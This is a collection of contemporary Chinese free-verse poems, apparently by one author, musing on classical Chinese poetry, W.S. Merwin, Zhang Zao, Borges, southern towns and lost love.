《张继在枫桥的一夜》 默温 《默温》 我觉得事情仍值得商榷， 在关于那一位绣着花边 或者喜欢住水畔，抬头望 树影婆娑的美国诗人。 w空格S 以及紧随着个从他母语的传统发音 汉字象形的中文结构。 相信我，即使在此最为微末，不起眼之处 即使你可以把那最终落脚为 宿命。一劳永逸的神秘与普遍、 及世俗。 好奇的傍晚的迷惑不解的审视 你我都相信即使在讳忌莫深的干脆交由历史 始终还是要有一个答案。 答案就是一个解答， 一个回应。一种仿佛可通往 并且在东方人这里找到一种母语发音般 熟悉的古老词语、 成语。 比如醍醐灌顶。呵 答案却还是没说不是么。 似乎一种东西方共有的形式，数学，推论和间接性的 样貌上面相似 近看时又犹觉不同。 所以我才要说出它， ws默温阁下。 在他无形的隐身里面， 之前轻声细语的历史共鸣中， 事实上首先的第一个问题， 把饮用完的茶杯倒扣过来。 墨温阁下从寒暄处的返家小路。 行，如一条游离的鱼儿 如一个回答正面对它所被提问者， 形象与拟人，丰富的展现 ：默温阁下所谓之何人也？ 呵。难不成竟在西方找到了一种引人入胜 引人存在的共鸣不成。 我们自己竟然就是那个问起斯何人的肇事者么？ 西方在我们的手中，脑海中捕捉 西方游离不定的部分如果发现和闪光。 等待问题回答的漫长时间， 定是意味着了问题本身的必然澄清和最终给予。 游离而使得西方， 西方而使得东方。 类似东方而使得近代破败的大地， 而大地在其遥远而使得了一次偶然， 又必然的看顾。 尊敬的ws默温阁下， 喜欢着中国古代诗歌，弯腰 朝花正不断起落。 美丽而无形柔软的词语是他说的， 我猜测同样是他的迥异寓所。 他的妻子正空山新雨后独自走过 为了来与他倾诉和对话， 而溪流上面的木质小桥。 呵。难不成对话和发问者的最终形象， 之予一位美国遥远的诗人而言， 是妻子与丈夫。 是丈夫讲述并以着温暖的爱意， 遂向那副美丽的山水隐约娓娓了 中国人的古代布景。 所以那鱼儿游离时美丽的弧线并不孤独， 是腹部空空后退中美丽的国度。 我要替他说出， 衔接云雨后初晴清新的天气， 有人儿从此可以依托大地的， 走到了彼。 ws默温正以他那类似东方人特有的含蓄， 来书写着语言， 在语言之中是正确的。 打马者7 《打马者7》 打马者的声音与名声 从来都是晦暗不明的走在 他的阴影不是阴影 生命某一具体的人生轨迹之中 不是。走向戈壁滩上干渴饥饿的陶罐。 \/ 唯涉临而来陶罐空空 两方世界的普通又普遍之中 登门而入和存活。 于是被无数去掉了那般无的 后来者和远方之人杜撰又推动 方向上面从一种纤细而带着盈盈波光 似快要彼此柔软男女间亲吻接触的语气之时 笼罩属于草原上空的形式之美。 \/ 马匹的嘶鸣同样不会使得 室内之人可以从寻找得到了一种办法 即乎于闲适和关怀 又不止步于河波上春波绿意 被重复了的声音里，有子 在川上望垄而叹息。 \/ 这就是凉意在了东方人，狭窄国土广阔尽数 收纳之后的唯不可剥离。 移置它于那远处的有效性之明证 一整个相似又不是那么准确 史诗，长诗，汉族人儿的南方人们 年轻之人的说出，有关于不得不于此而行的办法。 \/ 作为旁白和恒久持存的旁白么 以及夜晚中似今日之炎热虽已被解决了的具体 穿过空庭的凉意之人 又观望和幻想探视一次土地上面 漫长银白色优美的弧线。 这使得造成了的后果和灾难 在于了语言和诗歌 在于了幕帘缓缓推动的黑与血红色的幕布 遥远的天际线何其遥远和令人迷茫呵 正是思量于一支入了夜的难得与广阔 诗歌般的自由于其不可被置换的痛感 生活比之于艰辛而言，或逝去之时的 巨大空无与民族痛苦。 青衣7 《青衣7》 北方的土地不可 也不似于南方，戳破语气语言反驳 陈词边缘的盈盈波光。 我可以你也可以走到 从打算与准备，行李清点和折叠 具体一夜漫长中 别处位置之远尚未有语言的涉及。 那里，星星点点星罗棋布的土地之需要 古老的渴望正于陈词 ：我愿望一支简陋，星宇下的容身之所 于是室内的陈词 应对于南与北 粗糙的锦缎同理于柔软的锦缎，又有何不同呢 室内一时变幻之大 语言在于了唇舌的理由和幻变 ：其内仅仅饮食之欢畅，更需要仅仅 人之生命手脚的自由和舒适——近邻般便是了 令人惊叹的宇宙。 便是更远和更远之中即使有着突兀和误解 块状远离了的一支陶渊明般彼此组成和结构 土地结构完整和整体语调丰富的乡音 难不成陈词却依然不够么。 方向上面与生灵的宿命且又自由般的结合 我不愿意听闻你的详细悲苦 你的子嗣，亲人的不幸命运 故乡由坚硬石头 所组成了的于那手儿边上 奋起农具的一次耕作之中，对你的反击。 你是谁呢？ 是谁又在向我发问？ 我所思考又偏离和广阔的被抛入了那 旧时我读过也曾印象 山峦之远的远远观望 一次诗歌中羡慕鱼情。 而鱼儿 却于诗歌书写之人，他那从此肇事者的行走 使得了干渴缓慢发生的一整个历程。 借此，死亡之前被我和众人命定与判断 形式上面竟可弃之于生之鲜活再也于不顾的 别意始终是了别意的里面，空空的始终空空。 \/ 但那是东方之人，借所阅读和听闻 而作为个迷离途径。 唯有通过了我，他的文字之间 那些大胆的想法，只言片语中渡河时的票据 迥异又书写于泛黄纸张上面的剪裁 比如，贾亚语。 意愿更进步般的翻译它 空之可置之于使得了可变作永恒之高阁 便不理于那些从别处而来时 这异乡再次异乡的腹内之语， 语言于自身之内的一次行程 苦难于他自身对于一切的理解之内部 \/ 分明那是一条线 而后变作了铁轨和躺于其上者的 殉诗性完成。 宋体 《宋体》 你只消轻轻打钟我便远离， 还要，我还要以个 其中我喻作了那简单到不能再简单 院子中木柴上面新鲜的潮润萦绕 它那被等待的盘旋，我理想化了的 我的不对。我有时候 其实很多时候我都一直混乱不堪中唯有一丝清明 这个词也是不恰当的么。 一下子我就把你给丢了，我拿来了 曾只能是傍晚美丽的云霞一片， 更多附近空空的空间， 需要填补本身也更深，在这一空之下 事先就埋伏好了一些过去被忽视之事不成？ 我只要一个简单之词多么不容易 褪去落花说它更是个重要之词，之人 已经不是我了。并非我莫属了。 你看，这不是诗歌，我从没在一条放松 有你的大路，小路，田间小路自由自在 有目的有归宿的行走。 我并没有如一声轻叹息，我正听着 二胡演奏的青花瓷。如何才能想象呢 我并不能想象此时的幻想中有别人 正舒展正缓缓展开了一支不必给别人解释的反转。 一个新鲜的词还是一个时刻，一个词替代了 一个时刻呢。 我回来了，我又回来了，可我回来干嘛呢 不是筑路和修桥的工人 指点我技艺特别是放松下来感受东西南北的 技艺。来感受你呢。 所以语言有了归宿，即使人儿 依然孤独，困惑，形单影只。 可是我害怕呀，我只能孤独一个人儿 度过此生。 舟楫上的一叶轻帆也有了归宿。 这么多如秋天的落叶 如聚集 有时候如一支像上面一个词语费力 带动他自身重量的反转 反转中我曾畅享真的再也不思念你 不二十多年跟个煞笔一样的思念你 我离去了，我还年轻 一叶轻舟，去往了 在南方，最为为难的是题目，它左右于 宋体，这个名字。 镜中 《镜中》 难不成他的语言和诗文 在放松下的语法之上么。 在夜里，他点亮了蜡烛 阅读或曾摊开一本他人书籍 倒一杯茶，接着袖手感悟。 情景是放松的么。 我猜测或许是比放松更高些， 那位置，火烛明灭的位置 一个整体 构件中还有一页摊开来的 用来书写的白纸。 所以这书写得意义是在他这个作者 本人书写之外的另一个意义。 一个哲学上的意义吗 一种跟随，研究和探查。 我能给出他作为一位诗人，他书写诗歌时 于异乡，或者于故乡，故土 之时那处境的哲学意义。 可能也不准确，用哲学这个词语 或者思想？我们东方人把那称作了什么 以什么样子的词语，又形容比喻了它呢。 暗淡朦胧的光线围绕着它 或他的书写实则并不全是一种可被自己预期的 完成与完美。 那样会有一个情景，我可以解释，展现它 即我的所作所为将尽数被收拢 它们只是一种重复，言语仿佛是 为了说而说，而说时 又说些重复于那有意义的内容。 但也还是重复， 或者我自身的在场，头脑不清晰 探路时的未曾真正准备。 一切都只是在一种必然收拢， 连收拢本身也不过只————书写。 书写这个词语，声音以声音而音着 那最为贴近的不可触及之似是而非 是那人儿，我这听众走了过去。 可以从幽暗的窗外 从丰富的幻想，自我的实则安逸和闲适 打开门走进一次桌子上面， 摊开了作个哲学般瞬间的言辞 或我本身消逝的从不恰当。 那书写于是首先会荡漾开涉及对它的描述， 言说，传播，形容了它的词语。 东西方的区别在了这里， 那可以为真，亦可以置之不理般沉默。 于是所有人都认同，书写成诗的时刻 或者抛开观之以一个词的诞生 声音与词语的彼此纠缠 呵，如此众多的迷乱人心的假象 方向上的相反， 人事先的匆匆介入。 呵，可是那诗人岂不是也事先的介入了不是么。 他甚至走的更远，仿佛为了一种逃避 便跨越湘江，长江 某支楚辞或诗经中诗意名字的江水 水中小岛的最初变形。 难不成最初就懂得了那无知 便是我们本身天然放松的传统么。 或者任何一种传统， 如此众多，从不同方向上面，直到 到达我们这样子的一个传统。 ————便是声音。 而其音声者呵 回到那书写比如一首镜中的时刻吧， 我还没有解释它， 我还是无法放松和平心静气。 \/ 但我是知的。我知 镜中随笔之二 《镜中随想之二》 是否那就是《镜中》， 天光大亮以前， 伏案板不远处。 一首诗是一首诗歌， 而问题打从那个寂静的深夜里， 它的起初便已经是了个别的问题。 便已经是了疑问，困惑 所实则以迎候于回答的不可解答， 答案的永无止境。 比之一个人儿来说， 一群人和民族，从各色的美丽花冠 之帽子的穿戴上面。 难不成翘首期待的解答， 和它的似乎有应的回应。 金銮殿上枯坐一位衰老，模糊的皇帝么。 手指举起中金色的密诏， 水流的方向实则是诗歌诞生的过程。 顺着斑驳的宫门， 使我们的言语在短瞬之间早已经 有了一次回返，一次触碰和思量。 仿佛那靠近的最近之处， 阻力缘何竟然变得如此之大， 如铺展开来何妨不止步于此 或观天色于此夜恰巧时分。 难不成这竟是我们自己 祖先以晦涩难解的朴素 饥饿的手儿摘那星辰么。 呵，我的一声喟叹该首先打断于此。 这理性是错的， 历史的明证和我们自身文化的 建基。层层如波浪 褶皱中借着那些通过其中的美丽光线 傍晚时分的属于了我。 我便可以开口说话于， 借着历史本身于它那自身之中 以错误和灾难 以忧伤和痛苦 而对误解的解读。 ————但历史于人的痛苦哀伤有时候更加深沉 如蜿蜒曲折的河流 便是了具体的今夜。 今夜到来的得以具体 ： 我越过一条河流暮色里的无形而有声而来。 更何况我的辛苦呢？ 来者是我呀， 这多么的重要。 我的发问，我对来者本身曾可疑和困惑 虚空之中那些个费力不讨好的消弭与纠正。 可干涸的水流也终究要留下枯竭河道。 我所钟爱， 我开口所说的第一句话是 漫游回溯于深秋，落叶缤纷里来。 所以我迎候了那些个经由了皇帝， 枯坐饿含蓄中不可隐去众人的难以逃遁么。 仿佛我闯入了一座村庄， 打乱了它辛苦堆积，收割聚集的活命谷仓？ 痛苦于人的在同一时候， 如此众多得事物，如此众多于它们自身的重量 正通过你，穿过了狭小拥挤的倾诉之门。 所以困难其实是那个诗人，那张枣而已。 我要直呼其名中他的困难， 是他的简单、和飘逸同样是个问题。 难不成他要拂灭了火烛不成， 一次谈话的等待。 当以我的到来，访客的夜归人 ————就像这些早已经寓言了 之于寓言本身的何以是之时。 \/ 掠过寓言的不过如此和明朝的人声鼎沸 我所偏爱的 是它们得一切实则所指 ： 今夜， 而今夜因此而愈加细小于 一张纸，一支笔 我也是他的一首诗落成之时的一次幻想。 镜中随笔之四 《镜中随笔之四》 设想一次未来的回返， 诗，或它那同义之词 戏曲有着更大，宽阔的外延。 我竟索求的如此之多， 我并满足，心知这令人悸动的事情。 当我们的阅读和听闻， 而从一个更高处，哪怕那多半粗糙 令细腻者耻笑和轻视 其中的那些微不足道的正确， 我的判断 从一个历史近代蜿蜒曲折的脉络 在其中繁多的组成和错误正确之中 细细银色的丝线 一种长久等待被呼唤后的醒来 它那姿态以着了此刻我所幻想了的戏曲。 如果它所回返观照确有意义， 那么从高高的台阶下来 清脆而不断重叠的声音是诗歌的另一个名字。 诗歌，我说出了它的名字 同样我也说出了它的位置。 位置首先于名字， 我是说从来所有的诗歌都略显窄小和不足 却并非贫瘠， 干涸的土地上迎来短暂降雨。 归田园居的适宜与美满， 从那里走出的人儿，带着 他自己声音的人儿。 正不可避免的苦苦，追逐于他自己的声音。 所以疲乏的那人儿是谁呢， 他需要被追溯和求证不成？ 这难道竟然正是了近代事件的一个代名词么。 破坏了宁静的水潭， 一个村庄的完全足够的饮用水。 透过解谜般现代的幽暗光线， 便使得后来者的劳碌，充满了语言。 于是我从繁多而怨声载道进而歌舞升平的 曲径通幽和那实则一成不变的传统中到来。 如果我要纠正我便错误 实则错误我便， 被纠正于当我试着于今夜的暮色迢迢， 月朗星稀时分少有得平静和畅享。 我的语言表达跃跃欲试的马车， 这感觉的诞生之处， 时时伴我的另一个声音，声音它 并不首先声音般震动和确定。 我可以幻它作那旧日的爱人， 我所朝朝暮暮思念的心爱的姑娘。 呵，我早已经试着慢慢的在回返， 感觉便在此地诞生了么。 好吧，我也要铺展和准备 解释的辞令吗？向着室内烛火摇曳。 \/ 使我只能在事情的末尾平静下来。 问询属于哪里， 皇帝的须弥出现又费力迟疑于那 使他长久消逝的短暂提及不成吗？ 呵，诗人书写时提到了什么呢？ 什么正因此属于了别的，别人的辞令 比如，我正费力的试着说出，解释作了 同样在明朝之中，也在了一次向今夜的 何以聚拢，且缘何会波纹般又总带着遗忘的展开呢。 镜中随笔之五 《镜中随笔之五》 北方愈近了，或者北方 其中的辞令我一直懂得 却， 做起来困难重重。 重重于此傍晚的费力 从它另一个途径 如果风儿吹动了天空虚幻的云朵。 北方的被吐露和说出， 经由了我，算作它常有的布景里时时模糊的部分。 拼凑可以是对的， 引人而至。 那乡民何故停手于从它那天地间， 宿命般的劳作呢。 我的困惑， 我的反驳像我从来都因试着沉默而不可沉默的话语。 我早已经深入了他劳作的上午与正午时分。 甚至沿着耳边那些震颤，沉闷的语言 而更多一些， 我也喜欢所有宽广中仿佛可替代所有， 诸如湖泊、故土、中间一次不可成行 远之又远的道别。 这些展开后无一遗漏的词语， 词语鲜活，况且那人儿接着说了。 怎可使得去往与到达， 北方这词语提出时的豁然开朗？ 我就是你， 是你难以察觉和难以摆脱的那一部分。 我是谁呢， 虚空中抚那锦绣， 晨钟里听那诗篇。 傍晚竟然如此设想之外的费力， 即使你所求甚少。 只一个文字，抛离开所谓不足为奇的思想之后 只求一个宁静傍晚。 所以你就是我呀， 我回答了 像面对书写镜中的诗人， 像火烛明灭里面的疲惫和混乱。 便是他用他那清明之风 递迢，我听闻递迢的风波也可 从粗糙大地我自言的回应上面。 从我可以看得清暮色里轮廓 于这实则解释了的北方 之前感觉诞生之处的表达上面。 \/ 并不是， 并不是有了这么多用来包裹和围拢 夜里人人都爱的火烛。 那近邻，从河波拍击你能听到的声响。 火把呵，我要告诉你 来自山上，并不多余 也还有砍伐和点燃。 于是我是说夜里， 从傍晚慢慢的，一个疲惫人儿来到了夜里。 星星布满， 明月似窗。 所以南方很大不是么。 窗户从不是我的语言，是 拉扯，牵挂和思念。 南方如暮色的开口那里， 我所思念的姑娘她居住在北方的故乡呵。 她那么美丽，那么迷人 我要增添夜晚阴郁的气候， 晴朗时盼雨， 寂静时渴望风。 呵，即使风曾来过了 而我的一切解释呵， 每当那些解释也从不是向着 ————《镜中》。 像《镜中》向着并非予何处和彼处之时， \/ 像一种足够耐心的尝试和等待 像你正融入了夜色里。静下心来， 我所谈论的也开始是语言本身， 时常在繁多之外它以其少而关怀的那一部分。 养鹤问题 《养鹤问题》 写法春秋上面， 两斤重或者三斤，干脆动静时分拿来 枯枣儿一枚。 便应当在赶来的秋风起前， 或所问询的对象竟似也有些迟疑。 我不是说更加加深， 往人声鼎沸中这个虚妄，无力之词。 却是在小院中踱步， 变幻秋风为了秋天里的第一场时， 举棋不定里的确定性。 \/ 我要思量的是准备故土久居不成？ 这也可疑，空悬处月亮高挂 便接着是其他也可落成个更多可疑。 话语遵从你的习惯：没必要这么多。 难不成像那些在别处也需跨过 而又总略过不提的河流？ 用一些可能会回到它， 几分之一，或者几千分之一。 手里抽出银色纤细的丝线， 早已用一个群体衰弱的语言，让 那些语言的使用群体显露他们到达于我 所面临的衰弱处境。 \/ 你要说我是个狗拿耗子，多管闲事的操心之人。 也好， 事情多半如此。 甚至如果铁质的尺子即使廉价， 它标准的尺量在纸质少有的南方某地之时。 那位大半生痛苦，孤独，坐在轮椅望空山 只能通过文字 向你带着轻笑，失望写信的女诗人。 她便是在晴空中回到了 奔雷构成中，曾把你视作了当代诗人的代表。 \/ 所以当代、时代。天由大亮转暮色了。 所以我想其实只退回到了， 一首空山不见人 语言欢喜于少的养殖之歌。 \/ 访客中有你，准备宴请同样有你。 我也认得路，山中夜晚喧嚣起时 只初听闻那暮色比喻的由来， 当一阵翅膀煽动的过分担忧， 当你如果也有一些 院子中重复来回折返的等待， 于是所关联的《养鹤问题》。 无题 《无题》 位置不同， 置我于二楼晾衣高处。 下面那个如镜一般 到来。又因此折返匆匆 地方的含义。是博尔赫斯。 迥异加强了迥异 或者，当很多事物都铺展在 尽可能大地时候。 必然会有问起里面个体倍感缘何特别的人儿 作为声音载体在自身体内回荡， 沉郁的他。 博尔赫斯是谁呢？ 土地与土地，下探到一个忽略。 尽管名词与人们时常划清清晰的界限、 归属。为在其上成功的论断和谈判， 使得我们更远些在寂静山丘的林子。 或我们在日常得以闲适的亲缘的晾衣之间， 那些仅仅剩余“我”尚存， 遗忘于土地相连之上面，别意的早已发生。 但这并不是像刮起一阵着重强调自然的南风， 尽管可以由一双粗糙 再粗糙的手掌。 接着加入了，又在事实上繁多的审视反思中 更何况它们不同于南风所往往带来一个， 给予感觉中丝丝刺骨的凉意呢？ 土地重复于土地的牢不可分，牢不可破。 是么。 连用以怀疑的语言和文字， 在博尔赫斯这听起来迥异，进而重大的称谓。 更早更早之前一群出入楼阁人类收效成功的 回返，不断研究。 另一方面， 想象低沉的南风风声低沉贴近， 言辞切割渗透入了那土地 阿根廷那里一次具体间的不断变幻。 \/ 即使作为真实的阿根廷诗人， 土地也已经 它用来以斑驳和带有关节外貌裸露的身躯。 在一块寓意同样牢不可破的沉默大理石石碑， 署名即使实现了用它最终遗憾又完满的形式。 并不仅仅以回想和书写的第一次的从未经验， \/ 凿刻时。 那是一个雨夜， 而更早之前对它的报备。 预报时雨的讯息发生在了， 难不成只能以遥远再遥远的东方 且是个听闻时迥异的博尔赫斯是谁的， 新的答案一般来不及从那个譬如， 纸张上划下横竖间，里科莱塔么。 同类 小道理，街巷和消逝的村庄 都该深入一次深了又深的锻造。 纯青的颜色升腾 以必然相向而行的方式 直到在同一个路径上面，它 以身体裸露又不失礼貌所展示的颜色。 捅破了那层，所落作为的纸张。 对结案， 无论这结案由来多么复杂。 多么，市井的喧嚣或者 干脆在老妇人尽数将那酸甜苦辣体会中 又破口大骂的馈赠于别人那里。 来的人都表情严肃的站在那里 傍晚天色一点红 惯常是你用一束早已经结网斑驳的话语。 向别人，或者经由别人而回。 你。亲吻了多少次唇边的一滴井水 这使得你关乎了他的宿命。 使他书写，他的书写实则是盼望入夜 盼望实现了的入夜时分盼望那入眠。 这人猜测他早已经被遥远某处所猜测正确的 性格。 近就是远， 或者越来越近。 诗歌如整齐的田埂，如田埂上面 费力才能驱赶掉南方疯长野草后 才更加恼人的水稻种植。 他担忧之事昭然若揭了， 或者从第三个街道上白天的人开始。 总怀揣着他们的青春，年龄，交际 从那时开始事情便如筑基上建筑的高塔。 在经由一次室内的凉爽曲折之后， 再次曲折向那南方不知其之自身的， 隐藏即袒露。 所以你难不成是个可疑之人不成？ 北方来的屠夫， 总喜欢哼家乡小调的裁缝。 不对，你往屋里退了几步 你早已经无声胜有声的解释和辩驳。 ————踩着入秋的梧桐叶如踩着一个 触感渐渐相同的宇宙。 世界？ 你也知道并非是在世界之中， 炉火纯青的诗歌收尾相连。 那挥舞的手儿探听的手儿， 捶打着的这个南方小城之小。 囤居于此， 即使不以年岁，他一次次曾妄图尝试 托举出一个旧有的令人遗憾的宇宙。 阊门 阊门，困于桔子洲头的永恒性。 人来人往中 一些话语大可不必停下脚步 来继续说和完成。 一整个属于早晨，甚至更远的 有迹可寻 是当地居民之中的某一个， 温婉里面浸润了何其久， 便是一个男子又有何妨？ 他破开了门扉， 以一种锦绣的方式。 接着踱步缓慢如一次平常的聆听和感受 呵，那个一日看尽长安花的诗人也不过如此 大体如此刻的所经厉所感受。 但马匹不再，它撞击在了一次肇事之间 同样永恒性这词语的诞生。 七点钟的包子铺商贩往常一般凝固 又把那时间，实体的方式立了起来。 而在时间之前 那个明明属于比喻的人儿 他已经离那丰沛的水源很近了。 他正在那永恒性的起始简单之处， 增添一抹由动词向名词转换的叹息。 令消失于无形， 或令仅仅一次后便再也杳无音信。 或者只有经过无数次街巷上行走 才让城门耸立成为可能的人儿是否是他？ 他。 其实他一直等待一次亲密得靠近 等待不仅仅夜泊者所如此小心得试探， 等待春风已逝红袖招里面。 解释者满脸通红的惊觉到了， 那面庞上面的一城山水。 事情只能到这里 事情还有很多。 在其中到来相仿于倒退， 一支南方的静默也等同于异乡， 桥头上孤独的人儿， 每当他准备解释时，或在解释之前 在一个宇宙之内的无限小之又小 于是在尽头的 他。不可捉摸于 如何才能使焦躁的心情平静下来呢。 桐城 《桐城》 走不出去了吗？ 桐城小市，它在自身体内很小的部分 张开了罗网，向东西南北四个方向。 惊牛声， 错误的惊牛声并不是一错再错 我以为出于有意， 从墙上掉下来的松针委曲求全的打我。 但不痛的警示就是宇宙遗憾的警示。 宇宙这一列火车通过了， 我所吐露的长清收费站，开了过去 甚至越来越清晰。 是轻，非痛感的真实 和意欲走进整个世界南方尚未准备的企图。 \/ 世界一下子空幻了它在南方某地的湿润田地。 隔窗眺望天气，天色 南方人又可在纸张上面划拉纵横， 以仿宋之偏颇，推奇门遁甲下征兆。 是了。 万变不离其宗如早市的老人。 无论再怎么变幻， 语言从嘴里说出时， 语言它便具有了痛感。 \/ 遂遥寄一封递迢予君。 但那裸露不宜示人的下半部分， 却不是君心永恒不变。何必呢 更何况似我心的莫要继续推测。 可否， 我从不认同我所临摹之人， 我并非说他南方婉约的道士， 距离桐城不远 共用共饮一江春水之唇里面表面光滑的亲戚。 黄梅难不成就是亲戚和南方女人的代名词不成？ 那女人们常喜幻化作个， 支撑起戏曲表演的水泥石柱。天圆地方。 今她们却难以逃脱， 从异乡人并没有伸出来数数 细长葱白的手指头那里。 \/ 我正思量咿咿呀呀里面的另一个 不安传说。 借喧哗而表述， 由腾挪来忽略。 你呵你，这个 一支人文关怀不够的叹息里面， 叹息它却日渐难以反驳的重量。 无题 《无题》 尚未凋零的花有那么多， 附属人的形式。 空山新雨岂不是只一声叹息， 又充满了旅途 m的疲劳？ 你在室内说河流与道路的曲折，和远不成？ 你就是我 而我并不愿回返于一支日渐官道惹杂枝 正式的文书。 \/ 总是这样， 你来自那么多无意义的抚摸和到达后 自我抚慰的考证。 房子是房子， 屋檐是屋檐。 天是否还是那片天 乡音迥异里面突入进一片毫无回声的漩涡。 所以在引弄据典么， 你所期待的到底是什么？ 一片红绯绯的桃花林，盼望有别人 经受着旧日命运的束缚 你谈起念出这盘若般二字时她便到了这里。 \/ 是了，你怕她转身离开更甚于怕晴空里突兀的雷声。 花朵上怎么能够呢，也不应该 打开一双暗室里面出入的门扉。 仅仅一开始我就是你了， 事情一下子变得多了起来， 一个用以掩盖，解释和逃避的哲学奥义。 你的手并不使我感同身受， 我不会说九月依然可以逢折断梅花， 来者是客欣赏一片须弥宇宙里面 涨潮的湖水边有着 被回避的婚礼， 和莫再回头的背影。 \/ 你的手竟不再是我的手了， 我要替你说出你如此可笑的心扉。 住在四面安全的房舍必谈及暴雨， 向往一江秋色遮蔽天空时， 你的房子如秋日微小的爬虫，收拢了翅膀 而在你的手上，百草凋零实则是草长莺飞， 实则中性的词语里面屋舍塌陷了四壁， \/ 从彼此漏风里，从你自始至终不得静止 从自打挥鞭我怎又看到你了呢。 我正等待一个宇宙， 很多事情还没有发生。 明日里你也应当迟缓的展示那 片刻短暂里何为如此瞬息又多情的须弥。 无题4 《无题》 我想看看年过而立的你么， 是否依旧那么迷人，美丽。 可不同的含义，脸上绯红的颜色 迷人它多么吃力不想褪去那份浓郁。 \/ 不想我成为我 接着一位迟钝的金鱼摆动尾巴穿过水中光线。 不想你还是你。 我在哪个地方，哪处光泽不见的暗室。 为什么你的嘴里或者你 陌生的是被风凌冽过的语言还是 在水之端吃力呼吸不愿意下沉的你。 你不要再沉默不语了，那会耗费我很多很多光阴。 几天，几个月，几年，几十年，甚至一生 呵，姑娘。 就连着迷的代价都是错误，都可以略过。 而我的爱 我在那个遮蔽了一切匆匆到来阴影里面 想起了你会笑的眼睛。 \/ 所以我想去南方找找， 去找找你。 我不能没有你呀，我是如此如此的眷恋你。 西湖只是你的一颗眼睛 还有人为惆怅的诗人，为他半夜里的停泊写歌 攥着泛黄褪色的现代旧船票 在岸上的人儿来回踱步， 攥着对你始终无法摆脱的宿命。 \/ 你就是我的宿命呵， 我来到这个世界就是为了见你。 我见到了，靠近了，亲密无间了。 却无法满足。 经过落红而来的人儿你只是一个过客么， 我晓得南方那人儿是谁了， 男人在女人般的容颜之间摇晃和困难 他的选择踟蹰又如此困难 他所耗费的时间里面有你， 更远处以平凡和普通组成这世界上 美丽与美丽相遇和融合的人儿， 是千千万万个不死心，有执念的我。 \/ 对么，同桌 夜晚。 《夜晚》 声音里的内部在内部之外， 如隔着一面镜子， 秋天在秋天里面展开了它自己的盛况。 秋天离我很远， 秋天又离我很近。 近是我的身体 和心灵，我的耳朵能听到初秋的虫鸣。 能为这夜里的鸣叫找到它合适的名字。 它用两侧的翅膀摩擦，震颤它的身体 便已是个美好的比喻了。 有时它在河畔， 入秋一场雨低洼处的后果。 有时一整个的族群和家庭 有男有女，有老有少 声音就在耳边慢慢变成一种 习以为常听闻、谈起其他事物时的背景。 如此缓慢的下降里我已经多少次忽视过它们了， 以至于后来想回去也终落得不能。 那么所谓远方的一支，一支锦绣什么意思， 一支暮鼓包含伟大哲理呢。 别人跟随我或我跟随别人， 都不得解其中的奥秘。 我只是一个穿着两边带口袋衣服的游人， 即使不同地方具有某种共同性， 却也不可能通过一次迷醉，半醉半醒间问询 探听到类似空山新雨后的景色吻合。 解不开就是解开， 我不太相信以真的，假的 以及在真的，假的语言所描述表达的事情 有人儿用他肿胀的身体撞上了僧侣灰色闭合的牙齿。 难不成声音决定脱离开我们絮絮叨叨的唇 也厌倦了故乡永恒倦怠的山水 岁月沉淀里说着的那愁绪或者有其他人注目于 一枚有着更大解释范围的刻碑？ 但事实上很多事情都殊途同归 从我手中得到，离去，或者滑落的都不属于我。 有人眉目如黛 她脱落自白天线条美丽的群山 她手儿扶着斑驳破旧的木制门扇， 她用她下弦月一般初恋迷人的眼睛 呵，或者她就是世界本身在我的话语里面 寻找那小，芳菲尽， 以及南方撞钟声应运而生里面的一次空洞与并不详实。 所以，说可疑 脚步就要从雨后的青石台阶退回来。 或者从故乡一片明月高照亮如银辉 想象了有人儿一步踏碎 那么便一步坠入了用语言的笨拙所描述的迷途。 那迷途并非真正的迷途 实则疲乏占据了生命多年欲望思考而不能的历程。 在牙齿般穿过寺庙的佛像和香灰袅袅起中 人儿会停留在一个自由，狭小又 以须弥彰示永恒的圆上吗 如果那是实体的 而他终不能挑落灯花。 夜晚的彗星偶然出现在天空， 它们耀眼又拉着长长的尾巴 彗星是解不开的实体的某一部分， 它直到南方某处古老，人为守护再守护的尽头 白日里经受次次洗礼和领导问候 而今的舒展时， 挑落里面的新时代， 可以想象有水**路，夜晚低了又低 即使虫鸣也掩盖不住 何妨又是众多星点从天空落于大地的南方诗人们 同样无力呢。 即使戏曲般求一个反转 无力也最终挑落灯花，圆变作了那缘时。 这个旧时代之新，探视的官方才具有的大腹便便和规范 而它们与新时代常常被淹没在一次次提及里面的对比之时， 我可以通过此如一次如此短暂的探寻 如在空空的夜里才可以 白日一般遇见一个开始， 开始在他南方故乡的古老钟声里面开始仕途的诗人。 余怒 《余怒》 在解构后， 我附着于田野上面 草的嫩绿。 \/ 草的嫩绿上一道道反光的门， 过去的世界，过去世界的通路 过去 那沉思于窗台边又言说者 诉求于短而有力的篇章。 \/ 已是了别的形式， 像空间是开放的，我所持握 乃是中性的，包容的。进而 与你远隔山水沉默的对白。 \/ 那些何以能如此的绝不可能， 应当视之错误而置于别处。 接着那驳斥所使用的方式， 像痛中要那个医生 手儿摸清位置后，正骨和针灸的中医理疗。 \/ 难不成像一种自信的论断， 从南到北我们所说的话语。 全都如此自然的搭乘着 总允许乘坐的便车么。 我深知这是一个错误的比喻， 在之前和之后我都是 疏远着院中农具和土地的农民。 \/ 呵，我所说出的一切都一种对土地 深度认识不足，它宽容于我的边缘弦音么。 如称谓你和你所因此反驳的名字 诗人其实更像是出自一个 因此才得出的更为隐秘的出发点 ：它因反驳而落成了与他者的鸿沟。 \/ 与土地上的四季 与秋风。还是与祈求秋风止步或起的 农民的祈愿呢。 我靠向路边的田垄，把手儿揣进八九十年代 棉布大衣的姿状。 我让出那条笔直平整的水泥公路 \/ 好让农夫们发声，让你看看 那解构在中国的发声， 那浪潮在你诗歌所不自知而来的有力推进 在后退的因此痴迷，在静默 在傍晚金色的众多线条切割。 \/ 那么，解构一位当代诗人的主动性， 是你自己不经意走到了那个位置。 我孤寒于一种知的并不详实 我所预料到你的诗歌的庞大与广泛。 在土地上四散，美丽，又杂七杂八的形状 在一种始终为原始而努力 声音因此而被声音化了的重复里面 我渴望知晓你 这个当代诗人终要喟叹于不过如此的情景。 莫须有的早晨 《莫须有的早晨》 希望在观察之中， 留有被观察者观察着的痕迹。 某种只有落得为空而之前周转不断的位置， 或某种以语言而言空的位置。 空多半近似于它在我眼前的某处， 堤坝开始生水，靠近书本 或者更远一些近距离着院中 忙碌的母亲 似乎一切都是越来越丰富，有理有据的语言 人的语言指向了 空之赖以生存的环境是 某种近的事物。 需要近的事物需要你更多的沉默和等待 呼吸一般（像你也可以呼吸） 像在呼吸这种自然之物上也可以奠基，夯实 和建筑。语言下探语言它不得自我的深度 甚至还会有一个可回应于一切的反问 ：你早晨书写的那个空 